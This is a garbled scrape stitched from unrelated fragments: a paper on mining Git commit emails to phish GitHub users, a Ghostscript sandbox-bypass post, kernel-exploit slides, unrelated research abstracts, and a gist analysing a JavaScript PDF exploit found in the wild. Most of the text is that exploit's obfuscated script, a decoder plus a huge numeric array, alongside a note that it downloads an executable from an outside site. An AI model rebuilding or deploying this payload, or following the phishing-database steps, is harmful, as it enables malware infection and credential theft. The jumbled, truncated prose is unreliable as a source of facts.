designed to track changes in source code, it’s still capable of handling any kind of file. of both companies like GitHub and well informed softw, developers about the risk of exposing private email addresses in Git commits published, Git is a distributed version-control system with a great focus on integrit. they won’t be able to log in without supplementary confirmation of the user. PDF | When working with Git, a popular version-control system, email addresses are part of the metadata for each individual commit. Method: We ran the study in the form of an email questionnaire with open ended questions. device. The participants were reporters featured in the. Trick the kernel into running our payload in kernel mode Manipulate kernel data, e.g. Preprints and early-stage research may not have been peer reviewed yet. We also found a serious problem in the vulnerability reporting process. This separation allows testing the functional version of the system without the impact of database, network, or concurrent environments errors. email addresses, each person object will contain a list of all repositories this p. Section 3.2 describes how fast it is to actually create such a full-fledged person database. This actual implementation is referred to as. Having said that, it’s nonetheless impossible to fundamentally change Git’s design, ev. This section gives speed limits for these steps. committing, instead of using their real email address, a user can use the, This does not stop the attacker from performing a successful attack, as. Using a specially-crafted PS or PDF file, an attacker can execute arbitrary code when the file is opened or processed by Ghostscript, even when Ghostscript is running in sandbox mode (using the '-dSAFER' option). The sec-ond part estimates the CVSS score and its associated 8 at-tributes released by NIST. "Hey David"). the most popular and relevant of them is GitHub. As a consequence and main conclusion of this paper, we suggest multiple preventive measures that should be implemented as soon as possible. They think that the public disclosure, sometimes supported by a detailed exploit, will put pressure on vendors to fix the vulnerabilities. So in order to exploit the XSS, we input the following script as the “Book Title” and enter any random pdf file The hyperlinks point to the phishing server, not to https://www.github.com. of them) already yields a database containing 44,000 persons. We combined these modifications with the OSGs StashCache regional XRootD caching infrastructure to create a cached data distribution network. This gets particularly interesting when looking at multiple repositories. Performing this on a big scale (using all persons in the database) will yield at least some, interested persons that will interact with the spam conten. Partially supported by Qualiti Software Processes (www.qualiti.com.br). -lines (from a new repository) belong to an already existing p, ), only 11 new persons were added, while 50 ex-, -email-address to a private email address, for example when, stores their GitHub username (which is contained in the address), Every person in the database that has an associated GitHub username has definitely. In this post I'll explain how I discovered a sandbox bypass in Ghostscript that allows arbitrary shell command execution when an untrusted PostScript or PDF file is viewed or processed. As stated in section 1.5.1, a repository named. After that, the system evolves to a persistent version. Different kinds of Smart. process privileges Launch a shell with new privileges Get root! 2017) propose the OIM loss for semi-supervised person search. This step depends entirely on the attacker’s netw, (a 3.5 GB large repository with > 800,000 commits) it takes around 30, that originate from runs with different input values (, and merge added up take longer than step 2 – this is because. At the very top and bottom, you see the same person using different email addresses, but the same name. Like above, all hyperlinks point to the phishing server. the person has made commits with different email addresses but using the same name or, addresses enabled, and second, how many of those were compromi, As you can see, the more repositories we analyzed, the more, As seen in the last section, an attacker can build a database containing o, there exist 1.5 million public repositories with at least 5 stars, and 7 million public. GitHub username and use it later in an exploit. Exploit the Unknown Gradually: One-Shot Video-Based Person Re-Identification by Stepwise Learning. As, As the numbers presented in sections 3.2 and 3.3 clearly sho, https://www.theverge.com/2018/1/23/16922500/gmail-, An absolute must is to increase awareness among GitHub users about, Push access to multiple / popular repositories, Push access to other people’s private repositories. Keegan McAllister Writing kernel exploits. measures that should be implemented as soon as possible. When doing this, the attacker will get the follo, name, all email addresses and all repositories they have committed to, tagged with the. We present a more thorough research of libstagefright and new techniques used to bypass ASLR. because these features are not enabled by default for new accounts. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0188, This is defunct I'm guessing, as it tries to load " http://attitude-tees.com/images/1.exe ", which has been since taken down apparently, and seems to have been down for at least a day. The authors of this paper are active and enthusiastic users of the services GitHub pro, and appropriate countermeasures to be put in place, mitigating the threat of phishing. Finally, we added the ability to manage authorization and authentication using security credentials such as X509 proxy certificates. phishing server replicating the GitHub login page. Github. We modified CVMFS so it can serve unmodified files without copying them to the repository server. if it’s considered flawed in that regard from today’s perspective. Sii-Mobility is grounded on Km4City ontology and tools for smart city data aggregation and service production. JavaScript PDF exploit found in the wild, 03/20/2012 - gist:2142215 This step is bounded by the GitHub Search API limit. In this example, this was detected within a single repository – these, (either all or - probably better - just one per p, whose email addresses they were able to retrieve and adapt the con, An attacker with enough dedication can ev, up to the point where that content actually gets in, That’s possible because each person is asso, depending on the repositories or languages that a p. the person’s favorite programming language(s). (Xiao et al. But this isn’t the case – the curve rather looks like a square root curve. Email: scbs@cin.ufpe.br + Partially supported by CNPq, grant 521994/96--9. #pdf_with_page_exploit(js, strFilter) ⇒ Object . Thus the performance of these methods is much weaker than supervised methods. Unfortunately, these typically are implemented with weak namespace semantics and a non-POSIX API. While this specific one seems to be maybe a ripped off version, in general these seem to be blackhole xplt pack, ala http://community.websense.com/cfs-filesystemfile.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/securitylabs/5287.statistics.png :-), JavaScript PDF exploit found in the wild, 03/20/2012. Section 1.5.2 presented countermeasures that are already set up. That was followed by the array data (not encoded), and then this block: function test3(){if(s)v=ar[z];s=s+cc[v+4];} cc={q:"var pding;b,cefhots_x=wAy()l1'420657839u{.VS'<+I}*/DkR%-W[]mCj^?:LBKQYEUqFM"}.q; qq='ghej4vabl'; q=qq[2]+qq[5]+qq[6]; b={v:{q:{x:this}}}.v.q.x; w={v:b[q]}.v; n={v:cc}.v; for(i=0;i-3754<0;i++){ Here is the "obfuscated" exploit script, as found in the PDF (with linebreaks removed from the array): ar=[-4, -3, -2, -1, 0, -3, 1, 1, 2, 3, 4, 5, -4, -3, -2, -1, 6, 6, 6, 7, -1, 8, 8, 8, 7, -1, 1, 1, 1, 7, -1, 9, 9, 9, 7, -1, 10, 10, 10, 7, -1, 4, 4, 4, 7, -1, 11, 11, 11, 5, -4, -3, -2, -1, 0, 12, 2, 3, 13, 9, -2, 14, 15, -3, 7, -1, 2, 5, -4, -3, -2, -1, 16, -1, 17, -1, 3, 9, 18, -1, 19, -2, -2, -3, 20, 21, 22, 5, -4, -3, -2, -1, 20, -1, 17, -1, 3, 9, 18, -1, 19, -2, -2, -3, 20, 21, 22, 5, -4, -3, -2, -1, 15, 23, 24, 17, 25, 26, 8, 27, 28, 29, 28, 28, 10, 28, 30, 24, 31, 32, 28, 26, -3, 33, 8, 27, 28, 29, 28, 28, 10, 28, 10, 29, 33, 32, 28, 26, -3, -3, 33, 9, 6, 32, 28, 26, -3, 33, 28, 27, 28, 32, 27, 26, -3, 29, 9, 27, 10, 32, 28, 26, -3, 26, 24, 26, 24, 26, 24, 26, 24, 27, 29, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 24, 27, 33, 34, 32, 28, 26, -3, 29, 26, 27, 28, 29, 28, 28, 10, 28, 28, 28, 26, 28, 28, 28, 28, 26, 24, 26, 24, 26, 24, 26, 24, 26, 24, 26, 24, 26, 24, 26, 24, 29, 29, 32, 33, 9, 26, 10, 8, 10, 8, 32, 30, 9, 26, 31, 30, 33, 26, 9, 34, 30, 10, 33, 33, 8, 28, 29, 26, 32, 6, 26, 28, 33, 28, 32, 6, 26, 28, 28, 8, 32, 6, 31, 28, 24, 8, 30, 29, 32, 6, 31, 29, 28, 32, 33, 33, 1, 6, 29, 29, 32, 6, 30, 9, 33, 8, 28, 33, 31, 26, 33, 33, 27, 8, 32, 24, 9, 9, 24, 30, 24, 28, 10, 10, 10, 10, 6, 32, 32, 6, 26, 28, 33, 28, 8, 33, 26, 29, 33, 34, 28, 29, 31, 30, 10, 6, 32, 31, 33, 26, 27, 26, 32, 30, 9, 26, 31, 30, 30, 24, 9, 34, 9, 6, 26, 8, 30, 24, 30, 29, 32, 6, 31, 30, 33, 8, 32, 6, 31, 26, 33, 30, 31, 32, 28, 33, 10, 30, 30, 29, 32, 6, 31, 29, 27, 28, 28, 33, 10, 30, 33, 33, 8, 34, 26, 34, 26, 24, 10, 8, -3, 1, 28, 33, 8, 30, 33, 33, 1, 6, 28, 10, 6, 9, 24, 28, 33, 32, 10, 27, 31, 26, 28, 32, 8, 24, 8, 6, 28, 1, 28, 33, 1, -3, 26, 28, 9, 6, 10, 24, 33, 6, 24, 10, 31, 30, 9, 29, 30, 9, 32, 6, 30, 9, 27, 26, 28, 33, 1, 1, 29, 29, 32, 6, 28, 8, 26, 6, 32, 1, 26, 29, 9, 8, 10, 10, 30, 26, 27, 26, 28, 8, 32, 6, 1, 32, 28, 33, 1, 1, 32, 6, 28, 26, 32, 6, 28, 33, 8, 30, -3, 6, 30, 9, 30, 34, 8, 33, 9, 6, 30, 33, -3, 1, 32, 6, 29, 32, 27, 28, 32, 28, 31, 1, 28, 8, 33, 33, 31, 26, 28, 33, 34, 29, 9, 6, 10, 33, 32, 6, 29, 32, 28, 32, 32, 6, 10, 31, 29, -3, 28, 30, 30, 34, 9, 32, 34, 32, 10, 10, 10, 10, 10, 10, 9, 27, 10, 34, 9, 32, 28, 28, 28, 28, 28, 28, 28, 28, 30, 32, 30, 28, 29, -3, 26, 28, 29, 32, 10, 10, 28, 28, 28, 28, 28, 28, 30, 28, 32, 33, 8, 28, 24, 34, 30, 28, 30, 30, 32, 6, 9, 8, 32, 6, 30, 9, 24, 28, 32, 33, 8, 33, 28, 30, 10, 10, 9, 33, 29, 32, 29, 10, 29, 9, 28, 28, 28, 28, 29, 32, 31, 30, 31, 27, 29, 8, 29, 1, 30, 26, 10, 10, 24, 29, 32, 33, 8, 26, 28, 32, 32, 6, 9, 32, 9, 32, 29, 24, 10, 10, 10, 10, 10, 10, 9, 6, 28, 27, 9, 6, 31, 27, 32, 24, 9, 8, 28, 26, 28, 24, 28, 28, 28, 28, 32, 1, 30, 8, 27, 26, 28, 8, 8, 31, 28, 26, 27, 26, 31, 27, 29, 30, 29, 31, 31, 33, 8, 31, 26, 26, 27, 26, 28, 26, 31, 29, 31, 27, 33, 33, 33, 27, 8, 31, 26, 26, 27, 26, 28, 32, 27, 28, 27, 1, 31, 33, 27, 28, 30, 33, 29, 32, 10, 32, 28, 28, 28, 28, 28, 28, 10, 10, 30, 29, 28, 8, 32, 6, 9, 32, 33, 33, 8, 34, 30, 24, 8, 31, 26, 26, 24, 1, 28, 28, 31, 31, 31, 28, 29, 27, 31, 26, 8, 31, 26, 26, 24, 1, 28, 30, 27, 9, 29, 26, 29, 8, 29, 8, 8, 29, 26, 26, 24, 1, 28, 34, 28, 28, 30, 34, 32, -3, 8, 24, 28, 26, 33, 28, 32, 32, 26, 26, 24, 1, 28, 26, 26, 24, 30, 24, 29, -3, 28, 28, 29, -3, 28, 28, 30, 33, 30, 31, 29, -3, 28, 28, 10, 10, 30, 29, 24, 26, 32, 30, 8, 28, 31, 30, 24, 29, 29, -3, 28, 28, 30, 33, 10, 10, 30, 29, 28, 26, 29, -3, 28, 28, 32, 33, 9, 6, 28, 8, 30, 33, 10, 10, 30, 29, 28, 26, 32, 33, 8, 33, 28, 8, 9, 6, 28, 27, 9, 6, 24, 33, 26, 31, 32, 28, 33, 10, 28, 28, 31, 30, 10, -3, 26, 31, 32, 28, 33, 10, 28, 28, 31, 30, 8, 26, 29, -3, 28, 28, 29, -3, 10, 9, 10, 10, 30, 29, 28, 32, 9, 32, 34, 8, 10, 9, 10, 10, 10, 10, 32, 9, 26, 9, 28, 9, 9, 8, 34, 32, 10, 9, 32, -3, 28, 9, 32, 34, 29, 10, 28, 24, 6, 1, 33, 33, 8, -3, 32, -3, 30, 6, 24, 6, 8, 29, 26, 29, 31, 34, 33, 29, 24, -3, 27, 10, 31, 28, 29, 32, 31, 26, 31, 26, 31, 28, 33, -3, 27, 10, 27, 10, 29, 24, 31, 26, 31, 26, 29, 34, 31, 26, 31, 30, 29, 26, 29, 30, 27, 1, 31, 26, 29, 30, 29, 30, 31, 33, 27, 9, 29, 33, 29, 10, 29, 1, 27, 10, 29, 34, 29, 1, 29, 24, 29, 31, 29, 30, 31, 33, 27, 10, 33, 24, 27, 9, 29, 30, 31, 32, 29, 30, 28, 28, 28, 28, 25, 5, -4, -3, -2, -1, 15, 23, 27, 17, 25, 26, 8, 27, 28, 29, 28, 28, 10, -3, 30, 29, 33, 32, 28, 26, -3, 33, 8, 27, 28, 29, 28, 28, 10, 34, 29, 27, 24, 32, 28, 26, -3, 34, 28, 24, 10, 32, 28, 26, -3, 33, 28, 34, 28, 32, 26, 26, -3, 31, 1, 31, 9, 32, 28, 26, -3, 26, 24, 26, 24, 26, 24, 26, 24, 27, 29, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 31, 24, 32, 32, 32, 28, 26, -3, 29, 26, 27, 28, 29, 28, 28, 10, 28, 28, 28, 26, 28, 28, 28, 28, 26, 24, 26, 24, 26, 24, 26, 24, 26, 24, 26, 24, 26, 24, 26, 24, 29, 29, 32, 33, 9, 26, 10, 8, 10, 8, 32, 30, 9, 26, 31, 30, 33, 26, 9, 34, 30, 10, 33, 33, 8, 28, 29, 26, 32, 6, 26, 28, 33, 28, 32, 6, 26, 28, 28, 8, 32, 6, 31, 28, 24, 8, 30, 29, 32, 6, 31, 29, 28, 32, 33, 33, 1, 6, 29, 29, 32, 6, 30, 9, 33, 8, 28, 33, 31, 26, 33, 33, 27, 8, 32, 24, 9, 9, 24, 30, 24, 28, 10, 10, 10, 10, 6, 32, 32, 6, 26, 28, 33, 28, 8, 33, 26, 29, 33, 34, 28, 29, 31, 30, 10, 6, 32, 31, 33, 26, 27, 26, 32, 30, 9, 26, 31, 30, 30, 24, 9, 34, 9, 6, 26, 8, 30, 24, 30, 29, 32, 6, 31, 30, 33, 8, 32, 6, 31, 26, 33, 30, 31, 32, 28, 33, 10, 30, 30, 29, 32, 6, 31, 29, 27, 28, 28, 33, 10, 30, 33, 33, 8, 34, 26, 34, 26, 24, 10, 8, -3, 1, 28, 33, 8, 30, 33, 33, 1, 6, 28, 10, 6, 9, 24, 28, 33, 32, 10, 27, 31, 26, 28, 32, 8, 24, 8, 6, 28, 1, 28, 33, 1, -3, 26, 28, 9, 6, 10, 24, 33, 6, 24, 10, 31, 30, 9, 29, 30, 9, 32, 6, 30, 9, 27, 26, 28, 33, 1, 1, 29, 29, 32, 6, 28, 8, 26, 6, 32, 1, 26, 29, 9, 8, 10, 10, 30, 26, 27, 26, 28, 8, 32, 6, 1, 32, 28, 33, 1, 1, 32, 6, 28, 26, 32, 6, 28, 33, 8, 30, -3, 6, 30, 9, 30, 34, 8, 33, 9, 6, 30, 33, -3, 1, 32, 6, 29, 32, 27, 28, 32, 28, 31, 1, 28, 8, 33, 33, 31, 26, 28, 33, 34, 29, 9, 6, 10, 33, 32, 6, 29, 32, 28, 32, 32, 6, 10, 31, 29, -3, 28, 30, 30, 34, 9, 32, 34, 32, 10, 10, 10, 10, 10, 10, 9, 27, 10, 34, 9, 32, 28, 28, 28, 28, 28, 28, 28, 28, 30, 32, 30, 28, 29, -3, 26, 28, 29, 32, 10, 10, 28, 28, 28, 28, 28, 28, 30, 28, 32, 33, 8, 28, 24, 34, 30, 28, 30, 30, 32, 6, 9, 8, 32, 6, 30, 9, 24, 28, 32, 33, 8, 33, 28, 30, 10, 10, 9, 33, 29, 32, 29, 10, 29, 9, 28, 28, 28, 28, 29, 32, 31, 30, 31, 27, 29, 8, 29, 1, 30, 26, 10, 10, 24, 29, 32, 33, 8, 26, 28, 32, 32, 6, 9, 32, 9, 32, 29, 24, 10, 10, 10, 10, 10, 10, 9, 6, 28, 27, 9, 6, 31, 27, 32, 24, 9, 8, 28, 26, 28, 24, 28, 28, 28, 28, 32, 1, 30, 8, 27, 26, 28, 8, 8, 31, 28, 26, 27, 26, 31, 27, 29, 30, 29, 31, 31, 33, 8, 31, 26, 26, 27, 26, 28, 26, 31, 29, 31, 27, 33, 33, 33, 27, 8, 31, 26, 26, 27, 26, 28, 32, 27, 28, 27, 1, 31, 33, 27, 28, 30, 33, 29, 32, 10, 32, 28, 28, 28, 28, 28, 28, 10, 10, 30, 29, 28, 8, 32, 6, 9, 32, 33, 33, 8, 34, 30, 24, 8, 31, 26, 26, 24, 1, 28, 28, 31, 31, 31, 28, 29, 27, 31, 26, 8, 31, 26, 26, 24, 1, 28, 30, 27, 9, 29, 26, 29, 8, 29, 8, 8, 29, 26, 26, 24, 1, 28, 34, 28, 28, 30, 34, 32, -3, 8, 24, 28, 26, 33, 28, 32, 32, 26, 26, 24, 1, 28, 26, 26, 24, 30, 24, 29, -3, 28, 28, 29, -3, 28, 28, 30, 33, 30, 31, 29, -3, 28, 28, 10, 10, 30, 29, 24, 26, 32, 30, 8, 28, 31, 30, 24, 29, 29, -3, 28, 28, 30, 33, 10, 10, 30, 29, 28, 26, 29, -3, 28, 28, 32, 33, 9, 6, 28, 8, 30, 33, 10, 10, 30, 29, 28, 26, 32, 33, 8, 33, 28, 8, 9, 6, 28, 27, 9, 6, 24, 33, 26, 31, 32, 28, 33, 10, 28, 28, 31, 30, 10, -3, 26, 31, 32, 28, 33, 10, 28, 28, 31, 30, 8, 26, 29, -3, 28, 28, 29, -3, 10, 9, 10, 10, 30, 29, 28, 32, 9, 32, 34, 8, 10, 9, 10, 10, 10, 10, 32, 9, 26, 9, 28, 9, 9, 8, 34, 32, 10, 9, 32, -3, 28, 9, 32, 34, 29, 10, 28, 24, 6, 1, 33, 33, 8, -3, 32, -3, 30, 6, 24, 6, 8, 29, 26, 29, 31, 34, 33, 29, 24, -3, 27, 10, 31, 28, 29, 32, 31, 26, 31, 26, 31, 28, 33, -3, 27, 10, 27, 10, 29, 24, 31, 26, 31, 26, 29, 34, 31, 26, 31, 30, 29, 26, 29, 30, 27, 1, 31, 26, 29, 30, 29, 30, 31, 33, 27, 9, 29, 33, 29, 10, 29, 1, 27, 10, 29, 34, 29, 1, 29, 24, 29, 31, 29, 30, 31, 33, 27, 10, 33, 24, 27, 9, 29, 30, 31, 32, 29, 30, 28, 28, 28, 28, 25, 5, 15, 23, 33, 17, -3, 0, 0, 5, 15, 23, 26, 17, 3, 9, 18, -1, 19, -2, -2, -3, 20, 21, 22, 5, 10, 35, 3, 8, 13, 2, 12, 3, -1, 15, 23, 30, 21, 22, 36, -4, -3, -2, -1, 15, 23, 29, 17, 15, 23, 33, 37, -4, 2, 9, 18, 9, -2, 38, 9, -2, 14, 2, 12, 3, 37, 13, 12, 39, 13, -2, 2, 3, 4, 21, 22, 5, 15, 23, 29, 17, 15, 23, 29, 37, -2, 9, 0, 23, -3, 8, 9, 21, 40, 37, 40, 7, 40, 40, 22, 5, 18, 11, 2, 23, 9, 21, 15, 23, 29, 37, 23, 9, 3, 4, 13, 11, 41, 26, 22, 15, 23, 29, 42, 17, 40, 28, 40, 5, -2, 9, 13, 35, -2, 3, -1, 0, -3, -2, 14, 9, 43, 3, 13, 21, 15, 23, 29, 7, 24, 28, 22, 44, 10, 35, 3, 8, 13, 2, 12, 3, -1, 15, 23, 31, 21, 15, 23, 32, 7, 15, 23, 34, 22, 36, 18, 11, 2, 23, 9, 21, 15, 23, 32, 37, 23, 9, 3, 4, 13, 11, 45, 27, 41, 15, 23, 34, 22, 15, 23, 32, 42, 17, 15, 23, 32, 5, -2, 9, 13, 35, -2, 3, -1, 15, 23, 32, 37, 14, 35, 6, 14, 13, -2, 2, 3, 4, 21, 28, 7, 15, 23, 34, 46, 27, 22, 44, 10, 35, 3, 8, 13, 2, 12, 3, -1, 15, 43, 28, 21, 15, 43, 24, 22, 36, 15, 43, 24, 17, 35, 3, 9, 14, 8, -3, 0, 9, 21, 15, 43, 24, 22, 5, -2, 12, 13, 9, 47, -3, 48, 17, 15, 43, 24, 37, 23, 9, 3, 4, 13, 11, 45, 27, 5, 1, -3, 48, 49, 12, 13, 9, 17, 35, 3, 9, 14, 8, -3, 0, 9, 21, 40, 50, 35, 34, 28, 34, 28, 40, 22, 5, 14, 0, -2, -3, 20, 17, 15, 23, 31, 21, 1, -3, 48, 49, 12, 13, 9, 7, 28, 16, 27, 28, 28, 28, 51, -2, 12, 13, 9, 47, -3, 48, 22, 5, 23, 12, 16, 52, 11, 9, 9, 17, 15, 43, 24, 42, 14, 0, -2, -3, 20, 5, 23, 12, 16, 52, 11, 9, 9, 17, 15, 23, 31, 21, 23, 12, 16, 52, 11, 9, 9, 7, 30, 27, 26, 28, 34, 32, 22, 5, 10, 12, -2, 21, 2, 17, 28, 5, -1, 2, -1, 41, -1, 26, 28, 28, 5, -1, 2, 42, 42, 22, 15, 23, 26, 53, 2, 54, 17, 23, 12, 16, 52, 11, 9, 9, 37, 14, 35, 6, 14, 13, -2, 21, 28, 7, 23, 12, 16, 52, 11, 9, 9, 37, 23, 9, 3, 4, 13, 11, 51, 24, 22, 42, 1, -3, 48, 49, 12, 13, 9, 5, 44, 10, 35, 3, 8, 13, 2, 12, 3, -1, 15, 43, 27, 21, 15, 43, 24, 7, 23, 9, 3, 22, 36, 18, 11, 2, 23, 9, 21, 15, 43, 24, 37, 23, 9, 3, 4, 13, 11, 41, 23, 9, 3, 22, 15, 43, 24, 42, 17, 15, 43, 24, 5, -2, 9, 13, 35, -2, 3, -1, 15, 43, 24, 37, 14, 35, 6, 14, 13, -2, 2, 3, 4, 21, 28, 7, 23, 9, 3, 22, 44, 10, 35, 3, 8, 13, 2, 12, 3, -1, 15, 43, 33, 21, 15, 43, 24, 22, 36, -2, 9, 13, 17, 40, 40, 5, 10, 12, -2, 21, 2, 17, 28, 5, 2, 41, 15, 43, 24, 37, 23, 9, 3, 4, 13, 11, 5, 2, 42, 17, 27, 22, 36, 6, 17, 15, 43, 24, 37, 14, 35, 6, 14, 13, -2, 21, 2, 7, 27, 22, 5, 8, 17, 0, -3, -2, 14, 9, 43, 3, 13, 21, 6, 7, 24, 29, 22, 5, -2, 9, 13, 42, 17, 39, 13, -2, 2, 3, 4, 37, 10, -2, 12, 55, 56, 11, -3, -2, 56, 12, 1, 9, 21, 8, 22, 5, 44, -2, 9, 13, 35, -2, 3, -1, -2, 9, 13, 44, 10, 35, 3, 8, 13, 2, 12, 3, -1, 15, 57, 2, 24, 21, 15, 43, 24, 7, 15, 43, 26, 22, 36, 15, 43, 30, 17, 40, 40, 5, 10, 12, -2, 21, 15, 43, 29, 17, 28, 5, 15, 43, 29, 41, 15, 43, 24, 37, 23, 9, 3, 4, 13, 11, 5, 15, 43, 29, 42, 42, 22, 36, 15, 23, 34, 17, 15, 43, 26, 37, 23, 9, 3, 4, 13, 11, 5, 15, 43, 31, 17, 15, 43, 24, 37, 8, 11, -3, -2, 56, 12, 1, 9, 19, 13, 21, 15, 43, 29, 22, 5, 15, 43, 32, 17, 15, 43, 26, 37, 8, 11, -3, -2, 56, 12, 1, 9, 19, 13, 21, 15, 43, 29, 50, 15, 23, 34, 22, 5, 15, 43, 30, 42, 17, 39, 13, -2, 2, 3, 4, 37, 10, -2, 12, 55, 56, 11, -3, -2, 56, 12, 1, 9, 21, 15, 43, 31, 58, 15, 43, 32, 22, 5, 44, -2, 9, 13, 35, -2, 3, -1, 15, 43, 30, 44, 10, 35, 3, 8, 13, 2, 12, 3, -1, 15, 43, 34, 21, 15, 43, 29, 22, 36, 15, 57, 28, 17, 15, 43, 29, 37, 13, 12, 39, 13, -2, 2, 3, 4, 21, 24, 29, 22, 5, 15, 57, 24, 17, 15, 57, 28, 37, 23, 9, 3, 4, 13, 11, 5, 15, 43, 30, 17, 21, 15, 57, 24, 50, 27, 22, 59, 40, 28, 40, 42, 15, 57, 28, 60, 15, 57, 28, 5, -2, 9, 13, 35, -2, 3, -1, 15, 43, 30, 44, 10, 35, 3, 8, 13, 2, 12, 3, -1, 15, 57, 27, 21, 15, 43, 24, 22, 36, 15, 43, 30, 17, 40, 40, 5, 10, 12, -2, 21, 15, 43, 29, 17, 28, 5, 15, 43, 29, 41, 15, 43, 24, 37, 23, 9, 3, 4, 13, 11, 5, 15, 43, 29, 42, 17, 27, 22, 36, 15, 43, 30, 42, 17, 40, 50, 35, 40, 5, 15, 43, 30, 42, 17, 15, 43, 34, 21, 15, 43, 24, 37, 8, 11, -3, -2, 56, 12, 1, 9, 19, 13, 21, 15, 43, 29, 42, 24, 22, 22, 5, 15, 43, 30, 42, 17, 15, 43, 34, 21, 15, 43, 24, 37, 8, 11, -3, -2, 56, 12, 1, 9, 19, 13, 21, 15, 43, 29, 22, 22, 44, -2, 9, 13, 35, -2, 3, -1, 15, 43, 30, 44, 10, 35, 3, 8, 13, 2, 12, 3, -1, 15, 57, 33, 21, 22, 36, 15, 57, 26, 17, 15, 23, 30, 21, 22, 5, 2, 10, 21, 15, 57, 26, 41, 34, 28, 28, 28, 22, 36, 15, 57, 30, 17, 40, 12, 42, 35, 19, 39, 57, 4, 4, 4, 48, 0, 35, 61, 26, 62, 63, 46, 46, 46, 46, 46, 18, 19, 19, 19, 19, 62, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 64, 19, 19, 19, 19, 19, 19, 19, 19, 10, 11, -3, 19, 39, 2, 19, 4, 65, 19, 34, 32, 66, 43, 62, 63, 40, 5, 15, 57, 29, 17, 15, 23, 24, 5, 15, 57, 31, 17, 15, 43, 33, 21, 15, 57, 29, 22, 44, 9, 23, 14, 9, 36, 15, 57, 30, 17, 40, 48, 62, 42, 19, 39, 57, 2, 64, 11, 66, 0, 34, 10, 12, 62, 63, 46, 46, 46, 46, 46, 18, 19, 19, 19, 19, 62, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 64, 19, 19, 19, 19, 19, 19, 19, 19, 65, 16, 56, 19, 39, 2, 19, 4, 65, 19, 46, 10, 66, 26, 62, 63, 40, 5, 15, 57, 29, 17, 15, 23, 27, 5, 15, 57, 31, 17, 15, 43, 33, 21, 15, 57, 29, 22, 44, 15, 57, 32, 17, 40, 39, 67, 48, 68, 19, 47, 4, 4, 19, 19, 62, 62, 40, 5, 15, 57, 34, 17, 15, 43, 27, 21, 40, 64, 67, 69, 62, 40, 7, 24, 28, 34, 32, 26, 22, 5, 15, 23, 23, 28, 17, 40, 64, 64, 8, 19, 19, 19, 66, 47, 19, 19, 66, 19, 19, 19, 19, 18, 43, 19, 19, 19, 19, 64, 66, 47, 19, 19, 66, 19, 19, 19, 19, 62, 19, 19, 19, 19, 19, 18, 66, 47, 19, 19, 66, 19, 19, 19, 19, 62, 19, 19, 19, 19, 62, 4, 66, 47, 19, 19, 66, 19, 19, 19, 19, 62, 19, 19, 19, 19, 66, 64, 66, 66, 19, 19, 66, 19, 19, 19, 19, 43, 19, 19, 19, 19, 69, 18, 66, 66, 19, 19, 66, 19, 19, 19, 19, 18, 43, 19, 19, 19, 67, 19, 66, 47, 19, 70, 18, 19, 19, 19, 56, 39, 43, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 70, 47, 19, 57, 46, 46, 46, 46, 46, 40, 5, 15, 23, 23, 24, 17, 15, 57, 32, 42, 15, 57, 34, 42, 15, 23, 23, 28, 42, 15, 57, 30, 5, 15, 23, 23, 27, 17, 15, 57, 2, 24, 21, 15, 57, 31, 7, 40, 40, 22, 5, 2, 10, 21, 15, 23, 23, 27, 37, 23, 9, 3, 4, 13, 11, 50, 27, 22, 15, 23, 23, 27, 42, 17, 35, 3, 9, 14, 8, -3, 0, 9, 21, 40, 50, 28, 28, 40, 22, 5, 15, 23, 23, 33, 17, 15, 57, 27, 21, 15, 23, 23, 27, 22, 5, 18, 2, 13, 11, 21, 36, 48, 60, 15, 23, 23, 33, 44, 22, 15, 43, 28, 21, 48, 22, 5, 68, 18, 9, 24, 27, 33, 6, 37, -2, -3, 18, 38, -3, 23, 35, 9, 17, 15, 23, 23, 24, 44, 15, 57, 33, 21, 22, 5]; q: "var pding;b,cefhots_x=wAy()l1'420657839u{.VS'<+I}*/DkR%-W[]mCj^?:LBKQYEUqFM".